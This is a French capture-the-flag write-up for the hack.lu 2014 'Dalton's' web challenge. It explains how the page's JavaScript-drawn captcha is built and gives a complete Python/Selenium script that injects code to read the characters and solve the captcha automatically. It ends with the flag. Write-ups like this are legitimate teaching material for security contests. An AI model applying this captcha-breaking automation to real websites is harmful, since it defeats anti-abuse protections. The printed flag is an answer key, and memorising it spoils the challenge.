The Dalton Brothers are tricking people into buying their “safe” locks. So they can rob them afterwards. The lock has some safety features, as it resets itself after a few seconds. It also requires a lot of valid inputs before it's letting you open it. Please find out what their weakness is and report back.
On arrive sur une page où il faut entrer un captcha.
En le faisant manuellement la même page reste affiché, le capctha change et un message s'ajoute :
Good . Let's continue !
Manuellement ce n'est pas possible de tenir la cadence et de rentrer à la suite et rapidement les captcha.
Regardons le code source de la page pour chercher comment est gérer le captcha.
Voici la partie javascript nous interressant :
var j=c.getContext('2d'); var p=j.createLinearGradient(0,0,c.width,0); p.addColorStop('0','#b870cb'); p.addColorStop('1.0','#c4815b'); j.fillStyle=p; j.font='bold 13px verdana'; var k=String.fromCharCode(51); j.fillText(k,5,19); var m=j.createLinearGradient(0,0,c.width,0); var u=String.fromCharCode(53); m.addColorStop('0','#d6070f'); m.addColorStop('1.0','#8ca117'); j.fillStyle=m; j.font='bold 13px verdana'; j.fillText(u,71,15); var h=j.createLinearGradient(0,0,c.width,0); h.addColorStop('0','#a08abd'); h.addColorStop('1.0','#e0957a'); var m=(8).toString(36); j.fillStyle=h; j.font='italic 15px serif'; j.fillText(m,33,15); var r=j.createLinearGradient(0,0,c.width,0); r.addColorStop('0','#54dd67'); var u=atob('Yg=='); r.addColorStop('1.0','#f560da'); j.fillStyle=r; j.font='bold 12px helvetica'; j.fillText(u,44,18); var x=j.createLinearGradient(0,0,c.width,0); x.addColorStop('0','#66de78'); x.addColorStop('1.0','#3c300a'); j.fillStyle=x; j.font='italic 15px serif'; var w=([]+{})[5]; j.fillText(w,54,15); var z=j.createLinearGradient(0,0,c.width,0); z.addColorStop('0','#d8033a'); var l=([][+[]]+"")[4]; z.addColorStop('1.0','#1e62a1'); j.fillStyle=z; j.font=' 16px verdana'; j.fillText(l,22,18); var o=/0/.source; var y=j.createLinearGradient(0,0,c.width,0); y.addColorStop('0','#5264ab'); y.addColorStop('1.0','#3562d3'); j.fillStyle=y; j.font='bold 11px courier'; j.fillText(o,65,19); var l=j.createLinearGradient(0,0,c.width,0); l.addColorStop('0','#653711'); l.addColorStop('1.0','#e6a5ed'); j.fillStyle=l; j.font='bold 13px helvetica'; var e=String.fromCharCode(50); j.fillText(e,11,15);
On a donc un captcha généré uniquement via du javascript, cool on va pouvoir surveiller tout ça et résoudre les captcha avec un 100% de réussite ;)
On remarque les fillText
qui permette d'afficher du texte à des coordonnées x
et y
.
Il va donc falloir récupérer tous les caractères ainsi que leur position afin d'en déterminer l'ordre.
C'est avec Python et les librairies BeautifulSoup
et selenium
que je vais bosser.
BeautifulSoup
: pour parser le HTML
selenium
: pour jouer avec le javascript
Voici comment je vais procéder :
ret
au débutret+={ici la variable du caractère};
document.title=ret;
en finBeautifulSoup
selenium
BeautifulSoup
pour récupérer son titre (qui contiendra les caractères)filltext
pour récupérer leurs variables et positions (c'est là qu'intervient ce que j'ai récupérer dans le titre afin d'avoir le caractère correspondant)x
(du coup on récupère les caractères du captcha dans le bon ordre)selenium
j'exécute du javascript pour renseigner l'input du captchaselenium
j'envoi la touche ENTER
pour valider le captchaMon script pour résoudre ce challenge :
# -*- coding: utf-8 -*- ''' HACK.LU CTF 2014 Dalton's Corporate Security Safe for Business (Web 200) Python resolver by Krach contact{at}krach.me ''' import re import time from BeautifulSoup import BeautifulSoup from selenium import webdriver from selenium.webdriver.common.keys import Keys from operator import itemgetter if __name__ == "__main__": f = webdriver.Firefox() f.get("https://wildwildweb.fluxfingers.net:1422") counter = 0 while True: counter += 1 content = f.page_source #open("page_%d.html" % counter, "w").write(content) try: secZone = f.find_element_by_link_text("Security Zone") if secZone: secZone.click() content = f.page_source open("page_SecurityZone.html", "w").write(content) print content break except: print "Security Zone not found" content = re.sub(r"(\<script\>)", "\g<1>var ret='';", content) content = re.sub(r"([a-z]\.fillText\(([a-z])\,[0-9]{1,2}\,[0-9]{1,2}\);)", "\g<1>ret+=\g<2>;", content) content = re.sub(r"(\<\/script\>)", "document.title=ret;\g<1>", content) soup = BeautifulSoup(content) scripts = soup.findAll("script") for script in scripts: print "execute script" f.execute_script(script.string) content = f.page_source soup = BeautifulSoup(content) chars = soup.title.string if not chars: exit(1) if len(chars) != 8: exit(1) print "chars : %s" % (chars) listing = re.findall(r"[a-z]\.fillText\(([a-z])\,([0-9]{1,2})\,([0-9]{1,2})\)", content) l2 = [] for i in range(0, len(listing)): bufList = list(listing[i]) bufList[0] = listing[i][0] bufList[1] = int(listing[i][1]) bufList[2] = int(listing[i][2]) bufList.append(chars[i]) l2.append(tuple(bufList)) listing = sorted(l2, key=itemgetter(1)) captcha = "" for i in listing: print i captcha += i[3] f.execute_script("var sol=document.getElementsByName('solution');sol[0].value='%s';" % (captcha)); inputTxt = f.find_element_by_name("solution") inputTxt.send_keys(Keys.ENTER) time.sleep(1) # Result : # https://wildwildweb.fluxfingers.net:1422/?login=rRrtTE0WYFh5bVHToYQwKyvP # FLAG :D :D fef9565c97c3a62fe10d2a0084a9e8179d72f4a05084997cb80e900d1a77a42e3
Par Krach (contact{at}krach{dot}me)